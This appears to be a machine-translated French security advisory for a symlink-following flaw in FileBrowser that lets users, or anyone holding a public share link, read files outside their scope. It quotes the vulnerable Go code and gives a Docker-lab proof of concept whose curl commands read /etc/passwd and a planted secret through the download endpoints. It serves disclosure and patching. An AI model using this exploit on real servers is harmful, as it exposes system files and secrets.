ÉlevéeCVE-2026-116682
FileBrowser : le suivi des liens symboliques échappe à la portée de l'utilisateur permettant la lecture de fichiers arbitraires en dehors du répertoire desservi
Conséquences sérieuses, souvent sous quelques conditions : à corriger rapidement.
- Sévérité
- Élevée8.6 / 10
- Publiée le
- 27 de octubre de 2026
- Mise à jour
- 27 de octubre de 2026
L'avis
Traduction automatique de l'avis officiel. En cas de doute, l'avis d'origine, plus bas, fait foi.
Résumé
Les chemins de lecture de fichiers résolvent les liens symboliques avec filepath.EvalSymlinks puis opèrent sur la cible résolue sans vérifier à nouveau que cette cible se trouve encore dans la source/portée de l'utilisateur.
Un lien symbolique situé dans un répertoire accessible à l'utilisateur qui pointe en dehors de la portée (par exemple vers /etc/passwd, le répertoire d'un autre locataire, des clés SSH ou des secrets de conteneur) est suivi de manière transparente, et son contenu est served à travers les points de terminaison normaux de download, preview, media et OnlyOffice. Tout utilisateur authentifié avec un accès en lecture peut lire des fichiers partout où le processus serveur peut, dès qu'un tel lien symbolique est accessible dans sa portée.
Le même chemin de lecture suivant les liens symboliques est utilisé par les points de terminaison de partage public, qui sont autorisés seulement par un hash de partage et non par un compte, de sorte qu'un attaquant non authentifié détenant seulement le lien de partage peut lire des fichiers en dehors de la portée sans identifiant.
Détails
1. La résolution des liens symboliques effectue aucune vérification de contenant (indexing/iteminfo/utils.go:110-119)
func ResolveSymlinks(path string) (string, bool, error) {
resolvedPath, err := filepath.EvalSymlinks(path) // suit le lien vers sa cible réelle
if err != nil {
return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
}
info, err := os.Lstat(resolvedPath)
// ...
return resolvedPath, IsDirectory(info), nil // retourné sans validation de portée
}
Il n'y a pas de comparaison de resolvedPath avec la racine de l'index/portée.
2. GetRealPath retourne la cible résolue sans vérification (indexing/indexingFiles.go:991-1008)
absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath) // échappe à la portée ici
// ...
return realPath, isDir, err
realPath est ensuite utilisé par les gestionnaires de fichiers pour ouvrir et servir le file. Aucun appelant ne re-valide que realPath est un descendant de la racine source de l'utilisateur. (En revanche, le projet a ajouté une containment pour l'extraction d'archives via symlinkTargetStaysUnderDest, mais cette garde est spécifique à l'extraction et n'est pas appliquée à ce chemin de lecture général.)
3. Les gestionnaires de lecture demandent le suivi des liens symboliques, y compris les gestionnaires de partage public non authentifiés (http/resource.go:96,503, http/media.go:124, http/onlyOffice.go:133, http/public.go:279,441,494)
FollowSymlinks: true,
Les flux de lecture authentifiés (download, preview, media-subtitle, et OnlyOffice) définissent tous FollowSymlinks: true, et il en est de même pour les gestionnaires de partage public dans http/public.go. La route de download public est enregistrée comme publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler)) (http/httpRouter.go:130), où withHashFile autorise par le hash de seul partage sans compte, donc la même évasion est accessible sans authentification quand un partage public expose un répertoire contenant le lien symbolique.
PoC
Confirmé en direct sur gtstef/filebrowser:1.3.3-stable. Un lien symbolique pointant en dehors du répertoire de l'utilisateur doit exister à l'intérieur ; ici il est placé sur le volume hôte, ce qui se produit chaque fois qu'un répertoire monté contient des liens symboliques.
1. Démarrer un conteneur propre et semer un fichier en dehors de l'arbre de l'utilisateur.
docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090
2. Placer des liens symboliques à l'intérieur de l'arbre de service qui pointent en dehors. Un pointe vers un fichier hôte (/etc/passwd), un vers le fichier en dehors de l'arbre de l'utilisateur.
docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'
Vecteur 1 : utilisateur authentifié (n'importe quel compte avec accès en lecture)
3. Se connecter en tant qu'admin par défaut (le token est passé en paramètre de requête auth).
ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
4. Télécharger à travers les liens symboliques et lire des fichiers en dehors de la portée.
curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"
Sortie observée :
[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret
Vecteur 2 : non authentifié, via un partage public (aucun compte)
5. Le propriétaire crée un partage public du répertoire (une utilisation normale de la fonctionnalité de partage). C'est la seule étape qui nécessite un compte.
SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
-H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")
6. Avec seulement le hash de partage public et sans identifiant, télécharger à travers le lien symbolique.
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"
Sortie observée :
[passwd_link] root:x:0:0:root:/root:/bin/sh (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret
Les deux vecteurs suivent chaque lien symbolique vers sa cible et retournent le contenu en dehors du répertoire desservi.
Le vecteur 1 fonctionne pour tout utilisateur non admin confiné à /user1.
Le vecteur 2 n'a besoin d'aucun compte, seulement le lien de partage public, c'est pourquoi le score CVSS utilise PR:N.
La suite de l'avis n'est pas traduite : elle figure dans l'avis d'origine, plus bas.
Composants touchés
| Composant | Versions touchées | Corrigé en |
|---|---|---|
| github.com/gtsteffaniak/filebrowser/backendGo | < 0.0.0-20260814233832-4126edeb07a0 | 0.0.0-20260814233832-4126edeb07a0 |
Vous utilisez une version touchée ? Passez à la version corrigée, puis redéployez.